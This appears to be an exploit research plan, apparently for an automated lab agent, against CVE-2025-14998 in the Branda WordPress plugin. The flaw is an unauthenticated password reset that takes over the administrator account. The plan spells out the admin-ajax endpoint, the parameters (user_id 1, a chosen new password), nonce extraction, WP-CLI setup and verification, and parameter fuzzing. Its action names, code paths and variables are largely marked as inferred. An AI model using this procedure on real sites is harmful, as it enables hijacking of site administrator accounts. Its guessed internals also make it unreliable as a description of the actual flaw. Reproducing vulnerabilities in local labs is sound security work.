Research Plan: CVE-2025-14998 - Branda Privilege Escalation via Account Takeover

1. Vulnerability Summary

The Branda – White Label & Branding plugin (versions <= 3.4.24) contains a critical authorization bypass in its custom login page functionality. The vulnerability exists in the AJAX handler responsible for password resets. The plugin fails to verify that the password reset request is accompanied by a valid reset key or that the request is authorized for the target user. Consequently, an unauthenticated attacker can reset the password of any user, including administrators, by providing their User ID or email address.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: branda_login_reset_password (inferred) or ub_login_reset_password (older slug remnant).
• Authentication: None required (unauthenticated via wp_ajax_nopriv_).
• Vulnerable Parameter: user_id (or user_login/email) and password.
• Preconditions: The "Custom Login" module must be enabled in Branda settings.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an unauthenticated AJAX hook:
   add_action( 'wp_ajax_nopriv_branda_login_reset_password', [ $this, 'ajax_reset_password' ] );
2. Processing: The ajax_reset_password function (likely located in inc/modules/login-screen/class-login-screen-ajax.php or similar) retrieves the user_id and password from the $_POST superglobal.
3. Missing Validation: The code fails to call check_password_reset_key() or verify that the user requesting the change is the owner of the account.
4. Sink: The code calls wp_set_password( $new_password, $user_id ) or wp_update_user( [ 'ID' => $user_id, 'user_pass' => $new_password ] ) without proper authorization checks.

4. Nonce Acquisition Strategy

Branda typically enqueues a localized JavaScript object on the login page when the Custom Login module is active.

1. Enable Custom Login: Use WP-CLI to ensure the module is active (if not already).
   wp branda module enable login-screen
2. Identify Script Data: The plugin uses wp_localize_script to provide configuration to the frontend.
3. Extraction:
   • Navigate to the WordPress login page (/wp-login.php).
   • Use browser_eval to find the configuration object.
   • Target Variable: window.branda_login_config or window.ub_login_config (inferred).
   • Nonce Key: Look for _wpnonce or nonce within that object.
   • Command: browser_eval("window.branda_login_config?.nonce")

Note: If the wp_ajax_nopriv_ handler does not check the nonce at all (common in this type of bypass), this step can be skipped.

5. Exploitation Strategy

The goal is to reset the password of the user with ID 1 (typically the administrator).

Step 1: Discover Admin User ID

Since most WordPress sites use ID 1 for the first admin, we target ID 1.

Step 2: Perform Password Reset

Send a POST request to admin-ajax.php:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: branda_login_reset_password (Verify this via grep -r "wp_ajax_nopriv")
  • user_id: 1
  • password: PwnedPassword123!
  • nonce: [EXTRACTED_NONCE] (If required)

Step 3: Verification

Attempt to authenticate using the new credentials.

6. Test Data Setup

1. Target Admin: Ensure a user with ID 1 exists.
   wp user create attacker attacker@example.com --role=administrator (Optional, if testing role escalation)
2. Configure Branda:
   • Enable the "Login Screen" module.
   • wp branda module enable login-screen
3. Create Landing Page: Create a page that might trigger the plugin scripts if wp-login.php doesn't suffice.
   wp post create --post_type=page --post_status=publish --post_title="Login Test" --post_content='[branda_login_form]'

7. Expected Results

• The AJAX request should return a success message (e.g., {"success":true} or a JSON object indicating the password was updated).
• The wp_users table for ID 1 should show a changed user_pass hash.
• The attacker should be able to log in to /wp-login.php with admin and PwnedPassword123!.

8. Verification Steps

After the HTTP request:

1. Check Password Validity:
   wp user check-password admin PwnedPassword123!
   Success: Returns "Success: Password correct."
2. Check User Role:
   wp user get 1 --field=roles
   Success: Returns "administrator".

9. Alternative Approaches

• Parameter Fuzzing: If user_id is not the expected parameter, try user_login, email, or user.
• Action Discovery: If branda_login_reset_password fails, use grep to find all wp_ajax_nopriv_ hooks in the plugin:
  grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/branda-white-labeling/
• REST API: Check if the plugin registered any custom REST routes for password management:
  grep -r "register_rest_route" /var/www/html/wp-content/plugins/branda-white-labeling/